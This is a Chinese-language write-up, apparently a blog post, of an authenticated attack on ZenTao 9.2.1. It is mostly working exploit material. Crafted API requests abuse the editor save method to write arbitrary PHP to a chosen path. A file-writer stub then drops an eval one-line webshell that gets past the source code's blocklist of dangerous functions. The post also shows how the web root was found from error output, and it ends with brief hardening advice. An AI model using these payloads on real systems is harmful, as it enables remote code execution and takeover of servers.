有登陆权限,对 9.2.1 版本禅道渗透,获取webshell

确认版本

首先通过接口获取禅道版本
http://127.0.0.1/index.php?mode=getconfig

1
2
3
4
5
{
"version": "9.2.1",
"requestType": "PATH_INFO",
...
}

文件上传

1
2
3
URL:http://127.0.0.1/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=a.php
Method:POST
Payload:fileContent=<?php $_POST[1]($_POST[2]);

直接提交发现报错:
无法写入,可能没有权限。请尝试执行 chmod 777 -R a.ph 具体什么原因我也不太清楚

查看源代码 module/editor/model.php 371行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);

$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}

发现写入文件路径也可以控制.

随便访问个URL让他弹出错误信息

1
2
ERROR: the control file /opt/zbox/app/zentao/module/indaafasf/control.php not found. in /opt/zbox/app/zentao/framework/base/router.class.php on line 1238, last called by /opt/zbox/app/zentao/framework/base/router.class.php on line 1357 through function setControlFile.
in /opt/zbox/app/zentao/framework/base/router.class.php on line 1932 when visiting indaafasf

发现禅道路径在 /opt/zbox/app/zentao/

查看源码得知 www 目录为可直接访问目录

直接上传文件

1
2
3
URL:http://127.0.0.1/?m=api&f=getModel&moduleName=editor&methodName=save&params=filePath=/opt/zbox/app/zentao/www/aaaaaa.php
Method:POST
Payload:fileContent=<?php file_put_contents($_POST[1],$_POST[2]);

访问上传后的文件 跳过检测上传一句话

1
2
3
4
5
URL:http://127.0.0.1/aaaaaa.php
Method:POST
Payload:
1=/opt/zbox/app/zentao/www/b.php
2=<?php @eval($_POST['pass']);?>

最后上一张菜刀图

总结

这种上传文件的地方已经要做好路径/文件后缀名的限制. 可以上传的目录一定不要给PHP的权限.

蛋疼

最后拿到了数据库发现管理员的密码竟然是默认密码…白忙活了这么多